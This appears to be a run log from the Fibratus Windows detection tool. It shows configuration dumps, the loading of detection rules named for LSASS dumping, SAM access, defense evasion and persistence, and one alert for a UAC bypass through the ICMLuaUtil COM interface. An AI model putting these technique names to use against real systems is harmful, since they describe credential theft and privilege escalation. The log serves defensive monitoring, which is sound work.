from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 log-stdout=>true level=>info max-age=>0 formatter=>text max-size=>100] + output ......................... [ elasticsearch=>[ healthcheck=>true index-name=>fibratus enabled=>false trace-log=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s timeout=>5s template-name=>fibratus healthcheck-interval=>10s sniff=>false flush-period=>1s gzip-compression=>false bulk-workers=>1] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] http=>[ timeout=>5s endpoints=>[] serializer=>json enabled=>false method=>POST enable-gzip=>false tls-insecure-skip-verify=>false] amqp=>[ passive=>false enabled=>false routing-key=>fibratus timeout=>5s vhost=>/ exchange-type=>topic delivery-mode=>transient url=>amqp://localhost:5672 tls-insecure-skip-verify=>false durable=>false exchange=>fibratus]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-files=>false skip-registry=>false enabled=>false skip-allocs=>false fastscan=>true excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-21T16:52:05+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:52:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:55:04+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T16:55:04+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:55:04+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:02:41+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T17:02:41+01:00 level=info msg=bootstrapping with pid 16816. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T17:02:41+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 enabled=>false content-type=>text/html to=>[] use-template=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-image=>true max-buffers=>36 stack-enrichment=>true enable-vamap=>true enable-threadpool=>false enable-handle=>false enable-net=>true enable-fileio=>true enable-mem=>false buffer-size=>512 min-buffers=>16 enable-registry=>true enable-audit-api=>true enable-thread=>true flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-age=>0 level=>info formatter=>text log-stdout=>true max-size=>100] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] amqp=>[ url=>amqp://localhost:5672 exchange=>fibratus exchange-type=>topic delivery-mode=>transient tls-insecure-skip-verify=>false enabled=>false routing-key=>fibratus vhost=>/ passive=>false timeout=>5s durable=>false] http=>[ timeout=>5s serializer=>json method=>POST tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false endpoints=>[]] elasticsearch=>[ index-name=>fibratus servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck-timeout=>5s template-name=>fibratus healthcheck=>true bulk-workers=>1 healthcheck-interval=>10s sniff=>false timeout=>5s trace-log=>false flush-period=>1s enabled=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false enabled=>false scan-timeout=>10s skip-files=>false skip-mmaps=>false excluded-procs=>[] excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T17:02:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:02:43+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:02:46+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T17:02:47+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:02:47+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:02:55+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T17:02:55+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T17:02:55+01:00 level=info msg=bootstrapping with pid 16036. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T17:02:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ use-template=>true content-type=>text/html to=>[] port=>25 enabled=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-threadpool=>false enable-registry=>true max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false stack-enrichment=>true enable-thread=>true enable-net=>true enable-fileio=>true min-buffers=>16 enable-audit-api=>true enable-dns=>false buffer-size=>512 enable-mem=>false enable-image=>true enable-vamap=>true flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text log-stdout=>true level=>info max-backups=>15 max-age=>0 max-size=>100] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ flush-period=>1s servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s template-name=>fibratus bulk-workers=>1 enabled=>false trace-log=>false index-name=>fibratus gzip-compression=>false healthcheck=>true timeout=>5s healthcheck-timeout=>5s sniff=>false] amqp=>[ exchange=>fibratus routing-key=>fibratus tls-insecure-skip-verify=>false passive=>false url=>amqp://localhost:5672 durable=>false vhost=>/ enabled=>false timeout=>5s exchange-type=>topic delivery-mode=>transient] http=>[ enable-gzip=>false tls-insecure-skip-verify=>false method=>POST timeout=>5s endpoints=>[] enabled=>false serializer=>json]] + pe ............................. [ read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-files=>false skip-mmaps=>false excluded-files=>[] skip-registry=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false skip-allocs=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-21T17:02:56+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:02:58+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T17:03:14+01:00 level=info msg=sending alert: [UAC bypass via ICMLuaUtil COM interface]. Text: Event(s): + Seq: 4423095 + Pid: 13204 + Tid: 9764 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-21 17:03:11.3849897 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe" , directory_table_base➜ 32e899000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffbc88fc0eb080, name➜ cmd.exe, pid➜ 15036, ppid➜ 13204, real_ppid➜ 13204, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-21 17:03:11.3849352 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via ICMLuaUtil COM interface, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 13204 + Ppid: 1232 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-21T17:03:35+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T17:03:36+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:03:36+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T17:05:51+01:00 level=info 